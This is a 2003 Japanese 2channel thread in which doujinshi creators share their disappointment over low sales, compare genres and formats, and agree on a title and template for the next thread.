なぞと焚きつけてきても、おそるおそる100部印刷しただけでした。
初売りは客が来ないと評判の地方イベントでしたが、私的には3冊売れて
内心(ヤターヽ(´▽`)ノ)
だったのに、海鮮友人連が遊びに来て。。。。

私「売上ゼロだったらどうしようかと思った、でも少しだけ売れたんだよ!」
友「なになに完売?」
私「え、いや(机の上にまだ乗ってるだろ)、そんなに出るわけないじゃん」
友「50部くらい?」
私「いや…… 三部……」
友「………………ざ、残念だったね。………………今度ガンバレ」
私「………………う? うん」

悪気はなかったんだろうけど、こいつさえ来なきゃ「三部も売れた!」と舞い上がって
いられたのに、何故か「三部しか売れなかった悲しい人」になっていた。
(・∀・)ミカエシテヤレ! 
回線の人間は売り上げでしか善し悪しの判断してないヤシが多いからね。
漏れも回線の知り合いがいて、即売会で細々売ってる漏れを小馬鹿にしつつ
大手をマンセーしてたけど、ショップに卸して部数出るようになったら途端に
態度が変わったよ。絵柄もジャンルも全然変わってないのに。
それ以来そいつの言うことは信用しないことにしてる。
絵が認められて500部売れる。
ストーリーが認められて5人のリピーターがつく。
個人的には後者のほうが嬉しい。
多分買い専の人にはわからないんだろう。
まあそう海鮮は海鮮は言うなや(´ー`)

とある事情でスペースを二時間もあけることになってしまった。
売れたのは二部。泣きたかった…。
あの二時間があればあと三部くらいは出たかもしれないのに。
>回線の人間は売り上げでしか善し悪しの判断してないヤシが多いからね。

いや、売上というのは、多数の人間の真剣な検討の結果だからかなり重い意味があるよ。
誉めたり貶したりするより、自腹を切って購入する時の方が、その本の価値を真剣に
考える筈。
>896
売る側に立てば、売り上げが例え大手や周囲と比べて少なめでも、
「これだけ売れたんだ、次はもっと頑張ろう!」みたいに純粋な気持ちもあることが
分かる、ということなんでは?
そりゃ沢山売れるほうが凄いけど、少しでも目に留めてくれた人がいる、と
次への励みになるということを分かっていない、既に「売れている」サクールの本
ばかり狙っている大手好きとかはわからない こ と も あるということでは?

日本語ヘンでスマソ。
898897:03/03/03 07:25 ID:13bUS804
わからないことも=わからない場合も という意味で。
>>897
ハ ゲ ド ウ

例えば>>891さんの場合は、初めて作った本なわけで、
そもそも「完売した?」なんて訊く方がおかしいんだけど、
海鮮さんはそういう認識で見てしまう、しかも『悪意なく』
ってあたりの機微の話ではないかと。
当然このタイプの海鮮さんは、大手は最初から大手の
実力と売上があったと思っているんだろうなと思うよ。
書店に100部卸した。
二週間ほどで売れたのは1部だった。(・∀・)アヒャ
イベントで300部以上掃けた本だったのに
この在庫どうしようか
>>900 書店と貴方の本のカラーが噛み合っていないのでは?
そのジャンルに強い所を選定し直したら捌けるようになるかも
イベントだけで300出るなんて相当のもんだし、売れない訳無いと思うんですが〜
(それとも「その日だけで300」って事じゃないのかな?判別つきにくいけど…)
902900:03/03/03 17:41 ID:IVSJ5zE4
冬コミ1日で300掃けたんだけどね。
残りは通販で掃けることを祈るよ…。
900越えた事ですし、そろそろ次スレのタイトル及び
>>1に書くテーマの検討に入った方がいい鴨。

現行タイトルで行くなら>>1の改正を。
既出テンプレ案としては>>631-632及び>>643-644

タイトル変更の場合の既出案は
売れない悲しみ【レス不要】
「思ったよりも本が売れない悲しさ」
【ピコ〜】売上不振の悲しさ【〜大手】
タイトルは 「思ったよりも本が売れない悲しさ」がいいと思う。
あと、2も追加希望。
アドバイスが欲しい人はノアハウ板へといれてほしい。
>「思ったよりも本が売れない悲しさ」

私もこれでいいと思います。
思ったよりも本が売れない悲しさ【レス不要】

が、いいな。
【希望】思ったよりも本が売れない悲しさ【現実】
【ピコ〜】期待より本が売れない悲しさ【〜大手】
>>908にイッピョー
このスレで起こるトラブルの元のひとつに、
ピコスレと誤解されるというのがあるので、
【ピコ〜】--【〜大手】はいいかもね。

という訳で

【ピコ〜】思ったより売れない悲しさ【〜大手】

と、合体させてみたらどうかな。

※「本が」は、同人板の場合、「本」にきまってるから省いてみた。
「レス不要」っつーか「アドバイス不要」っつーか。
>910
いや、「本が」は必要だと思うが。
検索の都合もあるからタイトルは統一性があった方が。
グッズばかり出て本が売れないという嘆きもあるので
やはり「本が」は不可欠ではないかと
それでは

【ピコ〜】思ったより本が売れない悲しさ【〜大手】
>>914
イイカンジ!!
>914
それで以降。
過去スレは>2に回して、>1に「アドバイス不要」「レス不要」や
50部刷って10部しか売れない人から
5000部刷って2500部余った人まで、というような
スレ主旨を加えた方がいいとオモー。
あと「ピコスレではありません」なんかもね。
1-2に関してはすでに討論済みですよ。>>903をご覧ください。
919 :03/03/05 13:03 ID:H2qLeReI
【同人】【不況】
を入れるのは?
タイトルはあんまり長すぎると跳ねられるから。
>919
不況でも売れてるとこは売れてるし…
「不況」で売れないところもあるだろうけど、
ジャンルとか地方イベントしか出られないとか、
単に売り尽くしてもう在庫が出ないとか、
いろいろだしね。
923名無しさん@どーでもいいことだが。:03/03/08 11:40 ID:olUdMW0I
 
924名無しさん@どーでもいいことだが。:03/03/08 13:33 ID:JqE9qWf1
前にやってたジャンルはマイナーと呼ばれるジャンルだった。
売り上げもショボショボ。いまだ在庫あり。
で、その後メジャージャンルに移ったんだけど。。。
売り上げが倍くらい違う。
前のだと1年かけてもさばけない量が、2ヶ月で完売。
なんか嬉しいやら切ないやらで。。。
前のジャンルも自分は好きだったんだー!!!
好きならそれでいいんじゃ?
別にすきでもないのに「次は何のジャンルやったらうれるかな〜」て描いてる同人も多いし。
好きで好きで描いてる同人の方が私は好感がもてる。
>好きで好きで描いてる同人の方が私は好感がもてる。

と、語る人は多いが、正確には、
「(私の興味あるジャンルの同人の中では)好きで好きで描いてる同人の方が私は好感がもてる。」
であることに注意が必要。
興味の無いジャンルの同人にはその姿勢に関わらずそもそも見向きもしないのである。
当然のことではあるが。
面白い本なら何でも(・∀・)イイ!
これ本音。 
>>924
自分は既に斜陽どころか落陽状態のゲームジャンルに
飛翔系から移ったから売上は半減どころじゃなく落ちたよ。
でも好きで好きで書きたくて仕方が無かったジャンルだから気にしてない。
売れないのも当たり前だと思ってるし。

いや、売れない事自体は哀しいけどね。
刷る部数を本気で悩むけど楽しいさ。
928タンは私ですか?
私も飛翔、しかも最高潮を迎えたことのあるジャンルで活動していました。
それから、洛陽ゲームに移ったんだけど、売り上げ減ったよ。

でも、飛翔は、沢山同じカプリングのサクールがあったんだ。
今のジャンルはサクール自体既に少ないから、私の描いたものを本気で好きだと
言ってくれる人が以前より多く現れてきたよ。
以前は4、5年活動したが、今のほうが感想も貰えるよ。
売り上げは四分の一くらいになったけどさ。楽しい。
人気所はプロ作家並みの実力と人間性を兼ね備えてないと
生き残っていけないわけで・・・。


誤爆かしら。
儲けたかったら、飛翔系。

飛翔から、マイナー系ゲーム土人に移った友人は売り上げ部数500から、
150にまで落ちました。

需要のあるジャンルにハマりたいものですね。
150を多いと思う俺はダメでつか(´Д`;)
>>932
しかし現時点では供給過多だろ?<飛翔
ヘタレからソコソコなのまで全部ひっくるめたら
ぽっと出のサークルまではとても見て廻れない。
今から飛翔参入は賭けに近いと思われ、限りなく確立の低い賭けにね。
飛翔と言っても色々あるわけで…
斜陽どころか月まで昇り始めたわがジャンルは供給不足で
需要もあるかどうかわからない
アイシルは結構需要多いんじゃないの?>飛翔
ただ今後継続するかは分からないけど。
ここは売れるノウハウスレじゃないと何度(以下略
そもそも同人とは「売れる」為ではなく「好き」だからや(以下略
>>937ゴメソ

936だけど私は飛翔の大ブレイクして今は斜陽化の進むジャンルに3年いるけど
やっぱり飽和状態で売れません。でも好きだから続けてる。
本が売れないのは悲しいけど好きだと言ってくれる人がいるので頑張れる。
寧ろ本が売れない以上に悲しいのは売れ線ジャンルに移動した
かつての同ジャンルの人たちが私のやってるジャンルを悪く言う事かな。
またスレ違いな話しちゃったね。スマソ。
939 :03/03/11 03:07 ID:Ti+M4uXH
オリジナルも厳しいよ☆
スレッドストッパーキタ━━━━(゚∀゚)━━━━!!!!
>>939
スレストになってるのは
やはり☆「星」が香ばしかった所為?
前後関係を全く無視してるとこもも香ばしいネ☆

>938
ところで、飽和状態で売れないってあるね。
ありがちネタも、そのジャンル出始めのころは嬉しくて買い漁っちゃうし、それが新鮮。
でも、そのうち…とくに栄華を極めたジャンルの斜陽時期なんかは、皆同じように
見えてしまって売り上げが伸びなくなる罠。
>941
分かりすぎてて、的違いだからじゃないか?
のび切ったラーメンと冷えたポテトフライの
どっちが不味いか言い合っているところに
青汁も不味いよと言ってしまった?

スレ違ってきたね。逝ってくる。
そもそもこのスレで創作やってる人は殆どいない罠
>944
ゼロではないっしょ。うちもよろずで創作「も」やってる。
創作も楽しいよ。パロもそして楽しい。

時として目くそ鼻くそなれど創作の売れ数がパロをしのいだとき
「私のこのパロ原作作品への愛は劣っているのか?」と
微妙に不安になったりもするのだがナー。
いやどっちにしても売れんのだがな。

みんなが売れたという三月の印手で玉砕した……
創作でスペースとって見ようかなあ。
そういうもんでもないのかなあ。
パロ(飛翔)と創作両方やってるけど
創作はパロの五分の一だよ…発行部数…。
創作オンリーとか行くと、やっぱりパロで売れてるのは
ジャンル効果だよなー…と切実に思う。
ウチは創作の方が6倍売れる(コミケ対照)けどな…
売り上げに換算すると実に10〜20倍!といっても、ぴこには変わりないわけだが。
ちなみにティアでは、パロと同じでちっとも売れまへん。多分、コミケで売れるのは前宣伝が可能だからだろな。
パロはもう、全然あかん。愛情も熱意もあるんだけどな〜

>945.946
創作にもジャンルはある。
とはいえ描き手自身がブランドなので、ファンを掴めば強いだろうね。
パロと創作両方やってる。

漏れの場合、基本的にパロの方が売れるのだが、
ジャンルによっては
パロの方が創作より売れないときもある

漏れの場合、創作は「売れれば御の字」
固定読者様はいらっしゃいますが

そして、漏れの場合
創作より売れなかったジャンルは
すぐ撤収する

買い手のノリってジャンルによって違う。
t

              ∧_∧  〔^^〕    
               _,(#´Д`)⌒ i  |  950踏みまーす。
          (⌒ ー  一 r.、!  〉
           ヽ弋 。 人 。 イ(` ー'
           〔勿\     ヽ
               )  r⌒丶 )  ドカ
     ドカ   ドカ  /   !  |'´
       ドカ    /   /|  |‖ ドカ
            (    く  !  ||‖  ドカ
           ドカ   \  i   | ‖|‖|
            ,__>  ヽヽ从/ |‖|
            ⊂⌒ヽ从/ >>950
すいません、立てられませんですた……
あと、タイトルが長すぎて駄目だそうです。(´ω`)
一応テンプレ
------------------------------------------------------
ピコ〜大手まで。
思ったよりも本が売れなかった悲しさ、切なさをコソーリ吐き出そう。

【誘導】
ここは愚痴吐きスレです。売れるノウハウスレではありません。
「売れる方法教えてやる!」「気合いが足りない」
「ジャンル移れ」「売れないのはヘタレだから」 等の
『相談に乗ってあげるちゃん』、『アドバイ厨』はご遠慮下さい。
その手のノウハウをお望みの方は下記のスレにご移動下さい。

同人ノウハウ板。
http://comic2.2ch.net/2chbook/
★ピコ手専用★売り方見せ方アイデア集!
http://comic2.2ch.net/test/read.cgi/2chbook/982561743/
【内容】買わなかった理由スレPart3【装丁】
http://comic2.2ch.net/test/read.cgi/doujin/1042275217/
スペースのレイアウト・2nd
http://comic2.2ch.net/test/read.cgi/2chbook/1040990428/

過去スレは>>2
-------------------------------------------------------
【ピコ〜】思ったより本が売れない悲しさ【〜大手】8
上記で駄目だったので、これより短いものをご提案ください。
私としては、>>952の新テンプレに「ピコから大手」と「思ったより」が入っているので、

【ピコ〜】本が売れない悲しさ【〜大手】8
か、
思ったより本が売れない悲しさ(その8)

でいいかなと思うんですけど。
「どうせ売れないけどさ」と思いながら売ってて、本当に売れない
漏れのようなヤシもいると思われるので、

【ピコ〜】本が売れない悲しさ8【〜大手】

をキボンヌ
>955
わるいけどそんなあなたに萌えた。

「思ったより」が入った理由は
【ピコ〜大手】でクリアできてるんだよね?
んじゃ

【ピコ〜】本が売れない悲しさ8【〜大手】

で FA?
で、誰が立ててるの?
誰も居ないなら立てるよ。
昨日立てたばかりだから、駄目だと言われまつた。
次の方に託します。
すいません…漏れもダメでした。

テンプレは>952-953
タイトルは>955に。
次の方よろしく。

えっと、スレ立て初めてですがチャレンジしてみます。
少々お待ち下さい。
ホスト規制かかって駄目でした・゚・(ノД`)・゚・
すみません。他の方お願いします。
まだです。

私も無理でした。次の方お願いします。
たてますた。同人ノウハウで立てたのは初めてで緊張しました・・・。
それでは次スレもマターリおねがいします。
http://comic2.2ch.net/test/read.cgi/2chbook/1047805430/
な、なんで同人ノウハウ板?(゜д゜;)
荒らしさんかな?……

どなたか同人板内に立てられる方、おながいします。
わー!間違えて同人ノウハウに立ててしまった!
・・・すみません、削除依頼出してきます。
荒らしではないです。・・・逝ってきます。・゚・(ノД`)・゚・。
やってみます。テンプレはノウハウそのままでいいよね?
立てました。移動どうぞー。
http://comic2.2ch.net/test/read.cgi/doujin/1047816314/
>970
乙です。

うめ
うめうめ
うめうめうめ
うめうめうめうめ
うめうめうめうめうめ
うめうめうめうめうめうめ
うめうめうめうめうめうめうめ
うめうめうめうめうめうめうめうめ
うめうめうめうめうめうめうめうめうめ
うめうめうめうめうめうめうめうめうめうめ
うめうめうぬうめうめうめうめうめうめうめうめ
>うめ…

もじぴったんみたい(笑)
985コピペ:03/03/28 21:50 ID:OfgRQaCo
私式フラッシュ保存方法

マイコンピューターのC:のプロパティから「ディスクのクリーンアップ」を選択
Temporary Internet Files のファイルの表示をして、[.swf]の識別子のものを
マイドキュンあたりに作った適当なフォルダにコピペ しる。

窓98だかんな、おりは。
. ::゜.゜。・゜゜゜゜ .
 :::.゜。 ゜・。゜゜. .  . .
    . ::゜.゜。・゜゜゜゜ .
      . ::゜.゜。・゜゜゜゜ .
        :::.゜。 ゜・。゜゜. .  . .      ____
           : ::.゜ ゜ ゜゜。・。゜.゜..   〃 ̄ ̄ ̄ゞ
             .: ::.゜゜゜゜・ .    || ∧ ∧ ||
          ∧ ∧.Ψ :゜゜。・。゜.゜ . .》 (゚ー゚*)〃
          (,,゚Д゚)..| :::.゜。 ゜・。゜゜〃∩v⊂ソ)ヽ
          (つYつ|    : ::.゜ ゜ ゜゜.ヽ_ンヽJ.
           |||T||| |      :::.゜。 ゜.// ヽ、ヽ、 . .
           ∪∪ |        : ::.゜ ゜ ゜゜。・。゜.゜..
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2ちゃんねるよ、永遠に。   幸せがいつまでも続きますように…
残り13で
マターリ1000get。

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       l    二                 二 |
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       ケフ" / /  ,.-'‐ ̄/ .i   .i  ̄\- \ \ヾ
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